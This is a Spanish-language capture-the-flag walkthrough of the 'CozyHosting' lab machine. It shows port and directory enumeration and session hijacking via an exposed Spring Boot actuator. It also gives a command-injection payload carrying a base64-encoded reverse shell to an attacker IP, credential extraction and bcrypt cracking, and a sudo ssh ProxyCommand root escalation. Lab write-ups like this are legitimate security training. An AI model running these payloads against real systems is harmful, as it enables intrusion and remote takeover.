CozyHosting
Spring Boot actuator expone session tokens → command injection en SSH config → credenciales en JAR → escalada con sudo ssh.
Machine IP: 10.10.11.230
Reconocimiento
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.230 -oG allPorts
Puertos abiertos: 22 y 80.
nmap -sCV -p22,80 10.10.11.230 -oN targeted
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Cozy Hosting - Home
Agregamos al /etc/hosts:
10.10.11.230 cozyhosting.htb
Enumeración de directorios con Wfuzz:
wfuzz -c --hc=404 -t 20 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt http://cozyhosting.htb/FUZZ
000000053: 200 "login"
000000259: 401 "admin"
000002708: 500 "error"
La página de error devuelve un Whitelabel Error Page — Spring Boot.
Actuator endpoints
Enumerando rutas de Spring Boot:
000000072: 200 "actuator/sessions"
000000029: 200 "actuator"
000000058: 200 "actuator/mappings"
000000032: 200 "actuator/beans"
En /actuator/sessions aparece un usuario activo con su token de sesión. Usamos ese token para acceder al panel de /admin.
Command Injection
El panel tiene una función para configurar conexiones SSH. Al dejar el username vacío el error revela inyección de comandos. Payload con la reverse shell en base64 para evitar espacios:
;echo${IFS}"c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNjkvNDQzIDA+JjE="|base64${IFS}-d|bash;
Shell obtenida como usuario app.
Escalada → josh
Dentro de la carpeta de app hay un JAR: cloudhosting-0.0.1.jar. Lo extraemos y en BOOT-INF/classes/application.properties encontramos credenciales para PostgreSQL.
psql "postgresql://$DB_USER:$DB_PWD@$DB_SERVER/$DB_NAME"
En la base de datos cozyhosting encontramos el hash bcrypt del usuario admin. Lo crackeamos con hashcat:
hashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
Con la password obtenida nos conectamos como josh vía SSH.
Escalada → root
sudo -l
# (root) /usr/bin/ssh *
GTFObins → ssh con ProxyCommand:
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
Root shell obtenida.
Happy Hacking!!